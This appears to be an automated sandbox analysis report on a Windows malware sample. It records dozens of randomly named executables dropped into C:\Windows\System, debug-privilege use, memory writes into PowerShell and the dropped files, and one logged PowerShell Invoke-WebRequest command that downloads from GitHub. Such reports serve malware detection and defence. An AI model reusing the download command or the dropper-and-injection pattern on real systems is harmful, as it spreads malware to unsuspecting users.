File created C:\Windows\System\inhppSd.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\WSkFzvB.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\zaSUloN.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\cdjpdvH.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\seKnCdT.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HAPCLwM.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\jwClIyP.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dBdngnM.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\msElSHb.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\kdjriui.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\mvpxPha.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\vuYjvtL.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\fTlrMMF.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oMbfuTa.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\tfyQvsF.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\sEwRZdF.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\SmgcxQp.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZkYGXgH.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZSUJTBu.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\RNletJV.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QzJhDzU.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZicVZKE.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\uVfFHyE.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ZHeqVyw.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\APfnVBP.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\kApFTMn.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\HKHwRzW.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\CStsVDr.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\bmmFkYR.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\xfhhijl.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\INTGvbo.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\ccjBjTn.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\nytFlYg.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\VqHnYjo.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\JEUawbd.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\TFDmNdI.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\DboiIVs.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\oUHcWlZ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\EtclnnV.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\aHZqOHC.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\qIBfXLs.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\sEPjCoJ.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\QwuhJPq.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\sIcWAKw.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\Fbaaaqx.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\fUmCPNB.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
File created C:\Windows\System\dlCOBlg.exe C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3016 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 2796 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3016 wrote to memory of 3612 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\rLYrtZf.exe
PID 3016 wrote to memory of 3612 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\rLYrtZf.exe
PID 3016 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\IxUJQwd.exe
PID 3016 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\IxUJQwd.exe
PID 3016 wrote to memory of 4616 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\febdIPx.exe
PID 3016 wrote to memory of 4616 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\febdIPx.exe
PID 3016 wrote to memory of 4160 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\YgOTPhI.exe
PID 3016 wrote to memory of 4160 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\YgOTPhI.exe
PID 3016 wrote to memory of 4728 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\pTItlOJ.exe
PID 3016 wrote to memory of 4728 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\pTItlOJ.exe
PID 3016 wrote to memory of 3388 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\HHHiLfI.exe
PID 3016 wrote to memory of 3388 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\HHHiLfI.exe
PID 3016 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\cwhKjMU.exe
PID 3016 wrote to memory of 4092 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\cwhKjMU.exe
PID 3016 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\AETFBhF.exe
PID 3016 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\AETFBhF.exe
PID 3016 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\hLykVbo.exe
PID 3016 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\hLykVbo.exe
PID 3016 wrote to memory of 4956 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\nTwYfXv.exe
PID 3016 wrote to memory of 4956 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\nTwYfXv.exe
PID 3016 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\xiCNElB.exe
PID 3016 wrote to memory of 3892 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\xiCNElB.exe
PID 3016 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\Dhngzdt.exe
PID 3016 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\Dhngzdt.exe
PID 3016 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\egVsrkU.exe
PID 3016 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\egVsrkU.exe
PID 3016 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\CXOWXdt.exe
PID 3016 wrote to memory of 3780 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\CXOWXdt.exe
PID 3016 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\oUwMktv.exe
PID 3016 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\oUwMktv.exe
PID 3016 wrote to memory of 3740 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\hTZOsZX.exe
PID 3016 wrote to memory of 3740 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\hTZOsZX.exe
PID 3016 wrote to memory of 4816 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\QkmkEXA.exe
PID 3016 wrote to memory of 4816 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\QkmkEXA.exe
PID 3016 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\ogWuxHV.exe
PID 3016 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\ogWuxHV.exe
PID 3016 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\WilIFzx.exe
PID 3016 wrote to memory of 2312 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\WilIFzx.exe
PID 3016 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\FAXxrlL.exe
PID 3016 wrote to memory of 2936 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\FAXxrlL.exe
PID 3016 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\OcfgBdM.exe
PID 3016 wrote to memory of 3000 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\OcfgBdM.exe
PID 3016 wrote to memory of 668 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\PUFypHa.exe
PID 3016 wrote to memory of 668 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\PUFypHa.exe
PID 3016 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\IlaPCVr.exe
PID 3016 wrote to memory of 1936 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\IlaPCVr.exe
PID 3016 wrote to memory of 4884 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\fQUbAzi.exe
PID 3016 wrote to memory of 4884 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\fQUbAzi.exe
PID 3016 wrote to memory of 348 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\jfBgTzM.exe
PID 3016 wrote to memory of 348 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\jfBgTzM.exe
PID 3016 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\anVKEym.exe
PID 3016 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\anVKEym.exe
PID 3016 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\HBhniqW.exe
PID 3016 wrote to memory of 1360 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\HBhniqW.exe
PID 3016 wrote to memory of 1272 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\CIRFHoM.exe
PID 3016 wrote to memory of 1272 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\CIRFHoM.exe
PID 3016 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\ySxSEVI.exe
PID 3016 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\ySxSEVI.exe
PID 3016 wrote to memory of 4224 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\xKsVEdw.exe
PID 3016 wrote to memory of 4224 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\xKsVEdw.exe
PID 3016 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\yZbqFXG.exe
PID 3016 wrote to memory of 3204 N/A C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe C:\Windows\System\yZbqFXG.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\7e9d40dfbecdb51fb51962626e2a10b0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\rLYrtZf.exe

C:\Windows\System\rLYrtZf.exe

C:\Windows\System\IxUJQwd.exe

C:\Windows\System\IxUJQwd.exe

C:\Windows\System\febdIPx.exe

C:\Windows\System\febdIPx.exe

C:\Windows\System\YgOTPhI.exe

C:\Windows\System\YgOTPhI.exe

C:\Windows\System\pTItlOJ.exe

C:\Windows\System\pTItlOJ.exe

C:\Windows\System\HHHiLfI.exe

C:\Windows\System\HHHiLfI.exe

C:\Windows\System\cwhKjMU.exe

C:\Windows\System\cwhKjMU.exe

C:\Windows\System\AETFBhF.exe

C:\Windows\System\AETFBhF.exe

C:\Windows\System\hLykVbo.exe

C:\Windows\System\hLykVbo.exe

C:\Windows\System\nTwYfXv.exe

C:\Windows\System\nTwYfXv.exe

C:\Windows\System\xiCNElB.exe

C:\Windows\System\xiCNElB.exe

C:\Windows\System\Dhngzdt.exe

C:\Windows\System\Dhngzdt.exe

C:\Windows\System\egVsrkU.exe

C:\Windows\System\egVsrkU.exe

C:\Windows\System\CXOWXdt.exe

C:\Windows\System\CXOWXdt.exe

C:\Windows\System\oUwMktv.exe

C:\Windows\System\oUwMktv.exe

C:\Windows\System\hTZOsZX.exe

C:\Windows\System\hTZOsZX.exe

C:\Windows\System\QkmkEXA.exe

C:\Windows\System\QkmkEXA.exe

C:\Windows\System\ogWuxHV.exe

C:\Windows\System\ogWuxHV.exe

C:\Windows\System\WilIFzx.exe

C:\Windows\System\WilIFzx.exe

C:\Windows\System\FAXxrlL.exe

C:\Windows\System\FAXxrlL.exe

C:\Windows\System\OcfgBdM.exe

C:\Windows\System\OcfgBdM.exe

C:\Windows\System\PUFypHa.exe

C:\Windows\System\PUFypHa.exe

C:\Windows\System\IlaPCVr.exe

C:\Windows\System\IlaPCVr.exe

C:\Windows\System\fQUbAzi.exe

C:\Windows\System\fQUbAzi.exe

C:\Windows\System\jfBgTzM.exe

C:\Windows\System\jfBgTzM.exe

C:\Windows\System\anVKEym.exe

C:\Windows\System\anVKEym.exe

C:\Windows\System\HBhniqW.exe

C:\Windows\System\HBhniqW.exe

C:\Windows\System\CIRFHoM.exe

C:\Windows\System\CIRFHoM.exe

C:\Windows\System\ySxSEVI.exe

C:\Windows\System\ySxSEVI.exe

C:\Windows\System\xKsVEdw.exe

C:\Windows\System\xKsVEdw.exe

C:\Windows\System\yZbqFXG.exe

C:\Windows\System\yZbqFXG.exe

C:\Windows\System\LKnwlis.exe

C:\Windows\System\LKnwlis.exe

C:\Windows\System\aaUMkeL.exe

C:\Windows\System\aaUMkeL.exe

C:\Windows\System\tPdYueS.exe

C:\Windows\System\tPdYueS.exe

C:\Windows\System\xaxmJXy.exe

C:\Windows\System\xaxmJXy.exe

C:\Windows\System\WGUVABE.exe

C:\Windows\System\WGUVABE.exe

C:\Windows\System\aJJbLoN.exe

C:\Windows\System\aJJbLoN.exe

C:\Windows\System\qXLrfCJ.exe

C:\Windows\System\qXLrfCJ.exe

C:\Windows\System\JcYHXyo.exe

C:\Windows\System\JcYHXyo.exe

C:\Windows\System\wZSnAhp.exe

C:\Windows\System\wZSnAhp.exe

C:\Windows\System\KuMdkwu.exe

C:\Windows\System\KuMdkwu.exe

C:\Windows\System\kgTEdKV.exe

C:\Windows\System\kgTEdKV.exe

C:\Windows\System\OFrVwfO.exe

C:\Windows\System\OFrVwfO.exe

C:\Windows\System\ZmkAjAY.exe

C:\Windows\System\ZmkAjAY.exe

C:\Windows\System\hlbFmTf.exe

C:\Windows\System\hlbFmTf.exe

C:\Windows\System\OsZYkpZ.exe

C:\Windows\System\OsZYkpZ.exe

C:\Windows\System\lVfvvML.exe

C:\Windows\System\lVfvvML.exe

C:\Windows\System\yMdAJDY.exe

C:\Windows\System\yMdAJDY.exe

C:\Windows\System\JSLNZts.exe

C:\Windows\System\JSLNZts.exe

C:\Windows\System\wVMfSQK.exe

C:\Windows\System\wVMfSQK.exe

C:\Windows\System\UfSrbpr.exe

C:\Windows\System\UfSrbpr.exe

C:\Windows\System\VfUkUhV.exe

C:\Windows\System\VfUkUhV.exe

C:\Windows\System\ViApCHc.exe

C:\Windows\System\ViApCHc.exe

C:\Windows\System\HYziAFY.exe

C:\Windows\System\HYziAFY.exe

C:\Windows\System\LTzpFag.exe

C:\Windows\System\LTzpFag.exe

C:\Windows\System\epBLzrS.exe

C:\Windows\System\epBLzrS.exe

C:\Windows\System\gNDBfwa.exe

C:\Windows\System\gNDBfwa.exe

C:\Windows\System\BocoIZW.exe

C:\Windows\System\BocoIZW.exe

C:\Windows\System\igOQBsu.exe

C:\Windows\System\igOQBsu.exe

C:\Windows\System\UVmpgPT.exe

C:\Windows\System\UVmpgPT.exe

C:\Windows\System\ciUUXLE.exe

C:\Windows\System\ciUUXLE.exe

C:\Windows\System\DxdRwmB.exe

C:\Windows\System\DxdRwmB.exe

C:\Windows\System\wlsgCWn.exe

C:\Windows\System\wlsgCWn.exe

C:\Windows\System\SNnlhmx.exe

C:\Windows\System\SNnlhmx.exe

C:\Windows\System\etjNJgJ.exe

C:\Windows\System\etjNJgJ.exe

C:\Windows\System\NRRAwot.exe

C:\Windows\System\NRRAwot.exe

C:\Windows\System\imrXORw.exe

C:\Windows\System\imrXORw.exe

C:\Windows\System\DIiwHJC.exe

C:\Windows\System\DIiwHJC.exe

C:\Windows\System\tVDncpG.exe

C:\Windows\System\tVDncpG.exe

C:\Windows\System\FUoPexe.exe

C:\Windows\System\FUoPexe.exe

C:\Windows\System\KOKqlsS.exe

C:\Windows\System\KOKqlsS.exe

C:\Windows\System\FRSGjQd.exe

C:\Windows\System\FRSGjQd.exe

C:\Windows\System\VszSyqQ.exe

C:\Windows\System\VszSyqQ.exe

C:\Windows\System\BqKhpyB.exe

C:\Windows\System\BqKhpyB.exe

C:\Windows\System\NXfnNZk.exe

C:\Windows\System\NXfnNZk.exe

C:\Windows\System\umdbEWw.exe

C:\Windows\System\umdbEWw.exe

C:\Windows\System\WOQqLbw.exe

C:\Windows\System\WOQqLbw.exe

C:\Windows\System\HKxnUuY.exe

C:\Windows\System\HKxnUuY.exe

C:\Windows\System\fgJbKqc.exe

C:\Windows\System\fgJbKqc.exe

C:\Windows\System\KbwPrfg.exe

C:\Windows\System\KbwPrfg.exe

C:\Windows\System\gGCezwq.exe

C:\Windows\System\gGCezwq.exe

C:\Windows\System\cJOpmAb.exe

C:\Windows\System\cJOpmAb.exe

C:\Windows\System\fiPgoxE.exe

C:\Windows\System\fiPgoxE.exe

C:\Windows\System\rrDptEg.exe

C:\Windows\System\rrDptEg.exe

C:\Windows\System\AiQeAQW.exe

C:\Windows\System\AiQeAQW.exe

C:\Windows\System\tuIUcCA.exe

C:\Windows\System\tuIUcCA.exe

C:\Windows\System\jGBxhsm.exe

C:\Windows\System\jGBxhsm.exe

C:\Windows\System\YLQaUEr.exe

C:\Windows\System\YLQaUEr.exe

C:\Windows\System\cOZoNQZ.exe

C:\Windows\System\cOZoNQZ.exe

C:\Windows\System\lkcatkG.exe

C:\Windows\System\lkcatkG.exe

C:\Windows\System\QEjDmsg.exe

C:\Windows\System\QEjDmsg.exe

C:\Windows\System\bapaBIp.exe

C:\Windows\System\bapaBIp.exe

C:\Windows\System\WprMylT.exe

C:\Windows\System\WprMylT.exe

C:\Windows\System\cvRXxQv.exe

C:\Windows\System\cvRXxQv.exe

C:\Windows\System\zNpFyGX.exe

C:\Windows\System\zNpFyGX.exe

C:\Windows\System\CTZkohP.exe

C:\Windows\System\CTZkohP.exe

C:\Windows\System\NgzQpLi.exe

C:\Windows\System\NgzQpLi.exe

C:\Windows\System\PjUubPN.exe

C:\Windows\System\PjUubPN.exe

C:\Windows\System\izzfdTL.exe

C:\Windows\System\izzfdTL.exe

C:\Windows\System\ZGtNRag.exe

C:\Windows\System\ZGtNRag.exe

C:\Windows\System\FNzWhiW.exe

C:\Windows\System\FNzWhiW.exe

C:\Windows\System\YkpzARl.exe

C:\Windows\System\YkpzARl.exe

C:\Windows\System\dwjIBJN.exe

C:\Windows\System\dwjIBJN.exe

C:\Windows\System\XnUsZGL.exe

C:\Windows\System\XnUsZGL.exe

C:\Windows\System\EkQgslu.exe

C:\Windows\System\EkQgslu.exe

C:\Windows\System\phdXTxz.exe

C:\Windows\System\phdXTxz.exe

C:\Windows\System\mlYpZKW.exe

C:\Windows\System\mlYpZKW.exe

C:\Windows\System\uEVUHYn.exe

C:\Windows\System\uEVUHYn.exe

C:\Windows\System\aTUqEPO.exe

C:\Windows\System\aTUqEPO.exe

C:\Windows\System\lhuyLgS.exe

C:\Windows\System\lhuyLgS.exe

